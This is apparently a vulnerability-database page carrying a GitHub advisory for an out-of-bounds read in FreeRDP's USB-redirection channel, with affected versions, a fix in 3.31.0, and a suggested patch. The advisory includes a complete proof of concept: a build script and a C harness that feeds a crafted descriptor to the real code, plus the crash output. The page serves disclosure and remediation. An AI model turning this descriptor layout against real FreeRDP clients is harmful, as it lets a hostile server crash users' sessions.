Read the docs

FreeRDP URBDRC out-of-bounds read in func_get_ep_desc

Priority LOW 38CWE-125Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

FreeRDP's URBDRC (USB device redirection) channel contains an out-of-bounds read (CWE-125) in func_get_ep_desc(). The function indexes the interface array by array position and uses the server-supplied AlternateSetting value as an unchecked subscript. A malicious RDP server can set InterfaceNumber so that the bounds check validates one interface while the read uses another with fewer alternate settings, returning a garbage pointer that the client dereferences, crashing the FreeRDP client. The issue affects FreeRDP master and versions up to and including 3.30.0, and is reachable by any client with the URBDRC channel enabled that connects to a malicious or compromised server.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary FreeRDP's URBDRC (USB device redirection) channel performs a heap out-of-bounds read (CWE-125) in `func_get_ep_desc()` because it indexes `LibusbConfig->interface[]` by the array position `inum` and uses the attacker-controlled `AlternateSetting` byte as an unguarded subscript into `altsetting[]`. The validating function `libusb_udev_complete_msconfig_setup()` indexes by the protocol field `InterfaceNumber`, so a malicious RDP server can permute `InterfaceNumber` relative to the array position: validation checks one interface (with a large `num_altsetting`) while `func_get_ep_desc` reads a different interface (with a small `num_altsetting`), yielding an out-of-bounds read of a garbage pointer that is then dereferenced, crashing the client. ### Affected versions - **FreeRDP master** — reproduced on HEAD `d7f677e3cf836e71bc52c08177bbba8c889a6f8e`. The vulnerable read is at `channels/urbdrc/client/libusb/libusb_udevice.c:341`, the mismatched validation at `:584`/`:595`, and the network source of the fields at `channels/urbdrc/common/msusb.c:157-158`. Unpatched. - **FreeRDP 3.x** — the same defect is present in the released 3.x series (e.g. tag `3.30.0`). Because the defect ships in a released tag (not development-branch only), it qualifies for a CVE under the project's supported-versions policy. - Reachable on any FreeRDP client with the URBDRC / USB-redirection channel enabled, connecting to a malicious or compromised RDP server. ### Details All line numbers below are at master HEAD `d7f677e3cf836e71bc52c08177bbba8c889a6f8e`. #### The validation that normally runs When the server sends a `SELECT_CONFIGURATION`, `libusb_udev_complete_msconfig_setup()` validates the descriptor before it is used. It indexes by the protocol field `InterfaceNumber` and performs both bounds checks (`channels/urbdrc/client/libusb/libusb_udevice.c:581`): ```c // libusb_udev_complete_msconfig_setup() for (UINT32 inum = 0; inum < MsConfig->NumInterfaces; inum++) { MSUSB_INTERFACE_DESCRIPTOR* MsInterface = MsInterfaces[inum]; if (MsInterface->InterfaceNumber >= MsConfig->NumInterfaces) // :584 return nullptr; const LIBUSB_INTERFACE* LibusbInterface = &LibusbConfig->interface[MsInterface->InterfaceNumber]; // :594 — keyed on InterfaceNumber if (MsInterface->AlternateSetting >= LibusbInterface->num_altsetting) // :595 return nullptr; } ``` This check is self-consistent — it validates `interface[InterfaceNumber]` and reads `interface[InterfaceNumber]`. If the whole program used this subscript, there would be no bug. #### The unguarded read `func_get_ep_desc()` indexes the *same array* by the loop variable `inum` (the array position), and uses `AlternateSetting` directly as a second subscript with no bounds check (`libusb_udevice.c:331`): ```c // func_get_ep_desc() static const LIBUSB_ENDPOINT_DESCEIPTOR* func_get_ep_desc(LIBUSB_CONFIG_DESCRIPTOR* LibusbConfig, MSUSB_CONFIG_DESCRIPTOR* MsConfig, UINT32 EndpointAddress) { MSUSB_INTERFACE_DESCRIPTOR** MsInterfaces = MsConfig->MsInterfaces; const LIBUSB_INTERFACE* interface = LibusbConfig->interface; for (UINT32 inum = 0; inum < MsConfig->NumInterfaces; inum++) { BYTE alt = MsInterfaces[inum]->AlternateSetting; // attacker-controlled (0..255) const LIBUSB_ENDPOINT_DESCEIPTOR* endpoint = interface[inum].altsetting[alt].endpoint; // :341 — OOB read, no bound check for (UINT32 pnum = 0; pnum < MsInterfaces[inum]->NumberOfPipes; pnum++) { if (endpoint[pnum].bEndpointAddress == EndpointAddress) return &endpoint[pnum]; } } return nullptr; } ``` Here the interface subscript is `inum`, not `InterfaceNumber`. When `InterfaceNumber != inum`, the validator and the reader operate on **different** interfaces. #### The network-controlled fields Both `InterfaceNumber` and `AlternateSetting` are single bytes read directly from the network stream (`channels/urbdrc/common/msusb.c:157-158`): ```c // msusb_msinterface_read() Stream_Read_UINT8(s, MsInterface->InterfaceNumber); // :157 Stream_Read_UINT8(s, MsInterface->AlternateSetting); // :158 ``` #### Root cause Two compounding defects: (1) **subscript-semantics mismatch** — the validator keys on the protocol field `InterfaceNumber` while `func_get_ep_desc` keys on the array position `inum`, so a permuted descriptor makes the two disagree; (2) **missing bounds check** — `AlternateSetting` is used as a subscript into `altsetting[]` with no comparison against `num_altsetting`. With `NumInterfaces=2`, a descriptor whose `MsInterfaces[0]` claims `InterfaceNumber=1` / `AlternateSetting=255` and whose `MsInterfaces[1]` claims `InterfaceNumber=0` / `AlternateSetting=0`, against a device where `interface[0].num_altsetting == 1` and `interface[1].num_altsetting == 256`: - the validator checks `interface[1]` (256 altsettings) → `AlternateSetting=255` is "legal", validation passes; - `func_get_ep_desc` reads `interface[0].altsetting[255]` → 254 elements past the end of a 1-element array. The OOB read yields a garbage `endpoint` pointer, dereferenced at `endpoint[pnum].bEndpointAddress`, crashing the client. #### Client-side call path ``` urbdrc channel data received channels/urbdrc/client/libusb/libusb_udevice.c libusb_udev_bulk_or_interrupt_transfer libusb_udevice.c:1350 func_get_ep_desc(LibusbConfig, MsConfig, EndpointAddress) libusb_udevice.c:1383 interface[inum].altsetting[alt].endpoint libusb_udevice.c:341 -> OOB read ``` #### Relation to prior fixes This is the same bug class previously fixed in this exact file by commits `7b7e6de` ("check interface indices before use", `libusb_udev_complete_msconfig_setup`), `2d563a50` ("ensure InterfaceNumber is within range", `libusb_udev_select_interface`), and `fc665ef` ("check if interface is valid", `libusb_udev_select_interface`). `func_get_ep_desc` was missed because it indexes by array position `inum` rather than `InterfaceNumber`, so the existing validation (keyed on `InterfaceNumber`) does not cover it and is effectively bypassed. ### Impact On any FreeRDP client with USB redirection enabled, a malicious RDP server can reliably crash the client by sending a crafted `SELECT_CONFIGURATION` (carrying a permuted `InterfaceNumber`) followed by a BULK/INTERRUPT transfer request. The out-of-bounds read yields an uncontrolled garbage pointer, so the attacker cannot steer the dereference target — this is a remote denial of service (client crash), not RCE. Workaround until patched: disable USB redirection (do not enable the URBDRC channel) when connecting to untrusted servers. ### Proof of Concept A self-contained end-to-end harness links the **real, unmodified** `libusb_udevice.c` and `msusb.c` (compiled with `-Dstatic=` to export their `static` functions), links `libwinpr3.so`, and stubs only the libusb/WLog APIs. It runs two stages against the real code: - **Stage 1** — call the real `libusb_udev_complete_msconfig_setup()` with a malicious descriptor; it returns non-NULL (validation passes). - **Stage 2** — call the real `func_get_ep_desc()` with the same descriptor; AddressSanitizer aborts with a heap-buffer-overflow at `libusb_udevice.c:341`. #### Build & run Place the files below in a directory alongside a checked-out FreeRDP source tree (validated against master `d7f677e3` and tag `3.30.0`), build FreeRDP normally so `build/winpr/libwinpr/libwinpr3.so` exists, then: ```bash ./build.sh # builds e2e_poc (ASan-instrumented) ASAN_LIB=$(gcc -print-file-name=libasan.so) LD_PRELOAD=$ASAN_LIB ASAN_OPTIONS=detect_leaks=0 ./e2e_poc ``` #### Observed output (master HEAD d7f677e3) ``` [1] calling libusb_udev_complete_msconfig_setup (real code)... [1] validation result: PASS (malicious descriptor ACCEPTED) [2] calling func_get_ep_desc(EndpointAddress=0x81) (real code)... ================================================================= ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000002838 READ of size 8 at 0x604000002838 thread T0 #0 func_get_ep_desc libusb_udevice.c:341 #1 main e2e_main.c:191 SUMMARY: AddressSanitizer: heap-buffer-overflow libusb_udevice.c:341 in func_get_ep_desc ``` `[1]` proves the malicious descriptor passes the real validator; `[2]` proves the real `func_get_ep_desc` reads out of bounds. **Malicious descriptor layout** (what a hostile server would send): | array position `inum` | `InterfaceNumber` | `AlternateSetting` | |---|---|---| | 0 | 1 | 255 | | 1 | 0 | 0 | with a physical device where `interface[0].num_altsetting == 1` and `interface[1].num_altsetting == 256`. #### Complete reproducer files **`build.sh`** ```bash #!/bin/bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SRC="${1:-$SCRIPT_DIR/../FreeRDP}" # path to FreeRDP source tree SRC="$(cd "$SRC" && pwd)" WINPR_LIB="$(find "$SRC/build/winpr" -name 'libwinpr3.so' 2>/dev/null | head -1)" WINPR_DIR="$(dirname "$WINPR_LIB")" INC="-I$SRC -I$SRC/include -I$SRC/winpr/include -I$SRC/build/winpr/include -I$SRC/build/include" INC="$INC -I$SRC/channels/urbdrc/client -I$SRC/channels/urbdrc/client/libusb" INC="$INC -I$SRC/channels/urbdrc/common -I$SCRIPT_DIR" OUT="$SCRIPT_DIR/e2e_poc"; OBJ="$SCRIPT_DIR/.obj"; mkdir -p "$OBJ" CC=gcc CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" $CC $CFLAGS -Dstatic= $INC -c "$SRC/channels/urbdrc/client/libusb/libusb_udevice.c" -o "$OBJ/libusb_udevice.o" $CC $CFLAGS -Dstatic= $INC -c "$SRC/channels/urbdrc/common/msusb.c" -o "$OBJ/msusb.o" $CC $CFLAGS $INC -c "$SCRIPT_DIR/stub_libusb.c" -o "$OBJ/stub_libusb.o" $CC $CFLAGS $INC -c "$SCRIPT_DIR/stub_wlog.c" -o "$OBJ/stub_wlog.o" $CC $CFLAGS $INC -c "$SCRIPT_DIR/e2e_main.c" -o "$OBJ/e2e_main.o" $CC -fsanitize=address -g -o "$OUT" "$OBJ/libusb_udevice.o" "$OBJ/msusb.o" \ "$OBJ/stub_libusb.o" "$OBJ/stub_wlog.o" "$OBJ/e2e_main.o" \ -L"$WINPR_DIR" -lwinpr3 -Wl,-rpath,"$WINPR_DIR" echo "built: $OUT" ``` **`e2e_main.c`** ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/wtypes.h> #include <winpr/collections.h> #include "urbdrc_main.h" #include "libusb_udevice.h" #include "msusb.h" extern const LIBUSB_ENDPOINT_DESCEIPTOR* func_get_ep_desc(LIBUSB_CONFIG_DESCRIPTOR* LibusbConfig, MSUSB_CONFIG_DESCRIPTOR* MsConfig, UINT32 EndpointAddress); extern MSUSB_CONFIG_DESCRIPTOR* libusb_udev_complete_msconfig_setup( IUDEVICE* idev, MSUSB_CONFIG_DESCRIPTOR* MsConfig); /* interface[0] -> 1 altsetting (SMALL), interface[1] -> 256 altsettings (LARGE) */ static LIBUSB_CONFIG_DESCRIPTOR* build_synthetic_libusb_config(void) { LIBUSB_INTERFACE_DESCRIPTOR* if0_alt = (LIBUSB_INTERFACE_DESCRIPTOR*)calloc( 1, sizeof(LIBUSB_INTERFACE_DESCRIPTOR)); LIBUSB_INTERFACE_DESCRIPTOR* if1_alt = (LIBUSB_INTERFACE_DESCRIPTOR*)calloc( 256, sizeof(LIBUSB_INTERFACE_DESCRIPTOR)); static LIBUSB_ENDPOINT_DESCEIPTOR if0_ep[1]; static LIBUSB_ENDPOINT_DESCEIPTOR if1_ep[256]; if0_alt[0].bInterfaceNumber = 0; if0_alt[0].bAlternateSetting = 0; if0_alt[0].bNumEndpoints = 1; if0_alt[0].endpoint = if0_ep; if0_ep[0].bEndpointAddress = 0x81; if0_ep[0].bmAttributes = 0x02; /* bulk */ for (int i = 0; i < 256; i++) { if1_alt[i].bInterfaceNumber = 1; if1_alt[i].bAlternateSetting = (uint8_t)i; if1_alt[i].bNumEndpoints = 1; if1_alt[i].endpoint = &if1_ep[i]; if1_ep[i].bEndpointAddress = 0x82; if1_ep[i].bmAttributes = 0x02; /* bulk */ } LIBUSB_INTERFACE* interfaces = (LIBUSB_INTERFACE*)calloc(2, sizeof(LIBUSB_INTERFACE)); interfaces[0].altsetting = if0_alt; interfaces[0].num_altsetting = 1; /* SMALL */ interfaces[1].altsetting = if1_alt; interfaces[1].num_altsetting = 256; /* LARGE */ LIBUSB_CONFIG_DESCRIPTOR* cfg = (LIBUSB_CONFIG_DESCRIPTOR*)calloc(1, sizeof(*cfg)); cfg->bNumInterfaces = 2; cfg->interface = interfaces; return cfg; } /* attacker-controlled MSUSB_CONFIG_DESCRIPTOR: InterfaceNumber permuted vs. array position */ static MSUSB_CONFIG_DESCRIPTOR* build_malicious_msconfig(void) { MSUSB_CONFIG_DESCRIPTOR* cfg = (MSUSB_CONFIG_DESCRIPTOR*)calloc(1, sizeof(*cfg)); cfg->NumInterfaces = 2; cfg->MsInterfaces = (MSUSB_INTERFACE_DESCRIPTOR**)calloc(2, sizeof(MSUSB_INTERFACE_DESCRIPTOR*)); MSUSB_INTERFACE_DESCRIPTOR* ms0 = (MSUSB_INTERFACE_DESCRIPTOR*)calloc(1, sizeof(MSUSB_INTERFACE_DESCRIPTOR)); MSUSB_INTERFACE_DESCRIPTOR* ms1 = (MSUSB_INTERFACE_DESCRIPTOR*)calloc(1, sizeof(MSUSB_INTERFACE_DESCRIPTOR)); MSUSB_PIPE_DESCRIPTOR** ms0_pipes = (MSUSB_PIPE_DESCRIPTOR**)calloc(1, sizeof(MSUSB_PIPE_DESCRIPTOR*)); MSUSB_PIPE_DESCRIPTOR** ms1_pipes = (MSUSB_PIPE_DESCRIPTOR**)calloc(1, sizeof(MSUSB_PIPE_DESCRIPTOR*)); ms0_pipes[0] = (MSUSB_PIPE_DESCRIPTOR*)calloc(1, sizeof(MSUSB_PIPE_DESCRIPTOR)); ms1_pipes[0] = (MSUSB_PIPE_DESCRIPTOR*)calloc(1, sizeof(MSUSB_PIPE_DESCRIPTOR)); ms0->InterfaceNumber = 1; /* permuted! */ ms0->AlternateSetting = 255; /* validated against interface[1] (num_altsetting 256) -> OK */ ms0->NumberOfPipes = 1; ms0->MsPipes = ms0_pipes; ms1->InterfaceNumber = 0; ms1->AlternateSetting = 0; ms1->NumberOfPipes = 1; ms1->MsPipes = ms1_pipes; cfg->MsInterfaces[0] = ms0; cfg->MsInterfaces[1] = ms1; return cfg; } int main(void) { printf("FreeRDP urbdrc func_get_ep_desc OOB-read - END-TO-END PoC\n"); UDEVICE dev; memset(&dev, 0, sizeof(dev)); URBDRC_PLUGIN plugin; memset(&plugin, 0, sizeof(plugin)); dev.LibusbConfig = build_synthetic_libusb_config(); dev.MsConfig = build_malicious_msconfig(); dev.urbdrc = &plugin; printf("[1] calling libusb_udev_complete_msconfig_setup (real code)...\n"); fflush(stdout); MSUSB_CONFIG_DESCRIPTOR* result = libusb_udev_complete_msconfig_setup(&dev.iface, dev.MsConfig); printf("[1] validation result: %s\n", result ? "PASS (malicious descriptor ACCEPTED)" : "REJECT"); if (!result) { fprintf(stderr, "[!] validation rejected; attack would stop here\n"); return 1; } printf("[2] calling func_get_ep_desc(EndpointAddress=0x81) (real code)...\n"); fflush(stdout); const LIBUSB_ENDPOINT_DESCEIPTOR* ep = func_get_ep_desc(dev.LibusbConfig, dev.MsConfig, 0x81); printf("[2] func_get_ep_desc returned %p\n", (void*)ep); if (ep) printf("[2] (read out-of-bounds data as bmAttributes=0x%02x)\n", ep->bmAttributes); return 0; } ``` **`stub_libusb.c`** — minimal libusb stubs so the real `libusb_udevice.c` links without a real USB device (the PoC only exercises the validation + `func_get_ep_desc` path, which reads `pdev->LibusbConfig` directly): ```c #include "libusb.h" #include <stdlib.h> #include <string.h> int libusb_init(libusb_context** ctx) { (void)ctx; return LIBUSB_SUCCESS; } void libusb_exit(libusb_context* ctx) { (void)ctx; } ssize_t libusb_get_device_list(libusb_context* ctx, libusb_device*** list) { (void)ctx; *list = NULL; return 0; } void libusb_free_device_list(libusb_device** list, int unref_devices) { (void)list; (void)unref_devices; } libusb_device* libusb_ref_device(libusb_device* dev) { return dev; } void libusb_unref_device(libusb_device* dev) { (void)dev; } int libusb_open(libusb_device* dev, libusb_device_handle** handle) { (void)dev; (void)handle; return LIBUSB_ERROR_NO_DEVICE; } void libusb_close(libusb_device_handle* dev_handle) { (void)dev_handle; } int libusb_get_device_descriptor(libusb_device* dev, struct libusb_device_descriptor* desc) { (void)dev; (void)desc; return LIBUSB_ERROR_NO_DEVICE; } int libusb_get_active_config_descriptor(libusb_device* dev, struct libusb_config_descriptor** config) { (void)dev; (void)config; return LIBUSB_ERROR_NOT_FOUND; } int libusb_get_config_descriptor(libusb_device* dev, uint8_t config_index, struct libusb_config_descriptor** config) { (void)dev; (void)config_index; (void)config; return LIBUSB_ERROR_NOT_FOUND; } void libusb_free_config_descriptor(struct libusb_config_descriptor* config) { free(config); } uint8_t libusb_get_bus_number(libusb_device* dev) { (void)dev; return 0; } uint8_t libusb_get_device_address(libusb_device* dev) { (void)dev; return 0; } uint8_t libusb_get_port_number(libusb_device* dev) { (void)dev; return 0; } int libusb_get_port_numbers(libusb_device* dev, uint8_t* port_numbers, int port_numbers_len) { (void)dev; (void)port_numbers; (void)port_numbers_len; return LIBUSB_ERROR_NOT_SUPPORTED; } int libusb_kernel_driver_active(libusb_device_handle* dev, int interface_number) { (void)dev; (void)interface_number; return 0; } int libusb_detach_kernel_driver(libusb_device_handle* dev, int interface_number) { (void)dev; (void)interface_number; return LIBUSB_SUCCESS; } int libusb_attach_kernel_driver(libusb_device_handle* dev, int interface_number) { (void)dev; (void)interface_number; return LIBUSB_SUCCESS; } int libusb_claim_interface(libusb_device_handle* dev, int interface_number) { (void)dev; (void)interface_number; return LIBUSB_SUCCESS; } int libusb_release_interface(libusb_device_handle* dev, int interface_number) { (void)dev; (void)interface_number; return LIBUSB_SUCCESS; } int libusb_set_configuration(libusb_device_handle* dev, int configuration) { (void)dev; (void)configuration; return LIBUSB_SUCCESS; } int libusb_set_interface_alt_setting(libusb_device_handle* dev, int interface_number, int alternate_setting) { (void)dev; (void)interface_number; (void)alternate_setting; return LIBUSB_SUCCESS; } int libusb_reset_device(libusb_device_handle* dev) { (void)dev; return LIBUSB_SUCCESS; } int libusb_clear_halt(libusb_device_handle* dev, unsigned char endpoint) { (void)dev; (void)endpoint; return LIBUSB_SUCCESS; } int libusb_control_transfer(libusb_device_handle* dev_handle, uint8_t request_type, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, unsigned char* data, uint16_t wLength, unsigned int timeout) { (void)dev_handle; (void)request_type; (void)bRequest; (void)wValue; (void)wIndex; (void)data; (void)wLength; (void)timeout; return 0; } int libusb_get_string_descriptor(libusb_device_handle* dev, uint8_t desc_index, uint16_t langid, unsigned char* data, int length) { (void)dev; (void)desc_index; (void)langid; (void)data; (void)length; return LIBUSB_ERROR_NOT_FOUND; } struct libusb_transfer* libusb_alloc_transfer(int iso_packets) { size_t sz = sizeof(struct libusb_transfer); sz += (iso_packets > 0 ? iso_packets : 1) * sizeof(struct libusb_iso_packet_descriptor); return (struct libusb_transfer*)calloc(1, sz); } void libusb_free_transfer(struct libusb_transfer* transfer) { free(transfer); } int libusb_submit_transfer(struct libusb_transfer* transfer) { (void)transfer; return LIBUSB_SUCCESS; } int libusb_cancel_transfer(struct libusb_transfer* transfer) { (void)transfer; return LIBUSB_SUCCESS; } uint32_t libusb_transfer_get_stream_id(struct libusb_transfer* transfer) { (void)transfer; return 0; } void libusb_transfer_set_stream_id(struct libusb_transfer* transfer, uint32_t stream_id) { (void)transfer; (void)stream_id; } void libusb_fill_bulk_transfer(struct libusb_transfer* transfer, libusb_device_handle* dev_handle, unsigned char endpoint, unsigned char* buffer, int length, libusb_transfer_cb_fn callback, void* user_data, unsigned int timeout) { (void)transfer; (void)dev_handle; (void)endpoint; (void)buffer; (void)length; (void)callback; (void)user_data; (void)timeout; } void libusb_fill_interrupt_transfer(struct libusb_transfer* transfer, libusb_device_handle* dev_handle, unsigned char endpoint, unsigned char* buffer, int length, libusb_transfer_cb_fn callback, void* user_data, unsigned int timeout) { (void)transfer; (void)dev_handle; (void)endpoint; (void)buffer; (void)length; (void)callback; (void)user_data; (void)timeout; } void libusb_fill_iso_transfer(struct libusb_transfer* transfer, libusb_device_handle* dev_handle, unsigned char endpoint, unsigned char* buffer, int length, int num_iso_packets, libusb_transfer_cb_fn callback, void* user_data, unsigned int timeout) { (void)transfer; (void)dev_handle; (void)endpoint; (void)buffer; (void)length; (void)num_iso_packets; (void)callback; (void)user_data; (void)timeout; } void libusb_set_iso_packet_lengths(struct libusb_transfer* transfer, unsigned int length) { (void)transfer; (void)length; } unsigned char* libusb_get_iso_packet_buffer_simple(struct libusb_transfer* transfer, unsigned int packet) { (void)transfer; (void)packet; return NULL; } const char* libusb_error_name(int errcode) { (void)errcode; return "stub"; } ``` **`stub_wlog.c`** ```c #include <stddef.h> #include <winpr/wtypes.h> void WLog_Print_dbg_tag(const char* tag, unsigned long log_level, size_t line, const char* file, const char* fkt, const char* fmt, ...) { (void)tag; (void)log_level; (void)line; (void)file; (void)fkt; (void)fmt; } ``` **`libusb.h`** — a minimal header matching the libusb-1.0 type layouts so the real `libusb_udevice.c` compiles against the same struct definitions. The essential structs (matching libusb-1.0's public header) are: ```c struct libusb_endpoint_descriptor { uint8_t bLength; uint8_t bDescriptorType; uint8_t bEndpointAddress; uint8_t bmAttributes; uint16_t wMaxPacketSize; uint8_t bInterval; uint8_t bRefresh; uint8_t bSynchAddress; const unsigned char* extra; int extra_length; }; struct libusb_interface_descriptor { uint8_t bLength; uint8_t bDescriptorType; uint8_t bInterfaceNumber; uint8_t bAlternateSetting; uint8_t bNumEndpoints; uint8_t bInterfaceClass; uint8_t bInterfaceSubClass; uint8_t bInterfaceProtocol; uint8_t iInterface; const struct libusb_endpoint_descriptor* endpoint; const unsigned char* extra; int extra_length; }; struct libusb_interface { const struct libusb_interface_descriptor* altsetting; int num_altsetting; }; struct libusb_config_descriptor { uint8_t bLength; uint8_t bDescriptorType; uint16_t wTotalLength; uint8_t bNumInterfaces; uint8_t bConfigurationValue; uint8_t iConfiguration; uint8_t bmAttributes; uint8_t MaxPower; const struct libusb_interface* interface; const unsigned char* extra; int extra_length; }; ``` (plus the corresponding `libusb_*` function declarations referenced by `libusb_udevice.c` — any standard libusb-1.0 header works, or the above structs can be paired with the stub declarations in `stub_libusb.c`.) ### Suggested fix Index `func_get_ep_desc` with `MsInterfaces[inum]->InterfaceNumber` (consistent with the validator) and add explicit bounds checks on both subscripts, so the read can never disagree with the validation: ```diff @@ func_get_ep_desc for (UINT32 inum = 0; inum < MsConfig->NumInterfaces; inum++) { - BYTE alt = MsInterfaces[inum]->AlternateSetting; + BYTE ifaceNum = MsInterfaces[inum]->InterfaceNumber; + if (ifaceNum >= LibusbConfig->bNumInterfaces) + continue; + const LIBUSB_INTERFACE* iface = &LibusbConfig->interface[ifaceNum]; + + BYTE alt = MsInterfaces[inum]->AlternateSetting; + if (alt >= iface->num_altsetting) + continue; + const LIBUSB_ENDPOINT_DESCEIPTOR* endpoint = - interface[inum].altsetting[alt].endpoint; + iface->altsetting[alt].endpoint; ... } ``` We verified this guard against the same reproducer: with the fix applied, the malicious descriptor still passes validation, but `func_get_ep_desc` now returns `nullptr` (the out-of-range `alt=255` is skipped), and no heap-buffer-overflow occurs. ### Credit : SecBuddyF - Tencent KeenLab (CodeBuddy Security)

Why it matters now

Fix Fixed freerdp: 3.31.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—freerdp<= 3.30.03.31.0Patch availableGHSA-hg4r-vv53-vwf8
  • freerdp Vendor— Affected <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-hg4r-vv53-vwf8

Remediation

Upgrade FreeRDP to version 3.31.0 or later, which contains the fix.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-hg4r-vv53-vwf8 freerdp Fixed in 3.31.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-hg4r-vv53-vwf8

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences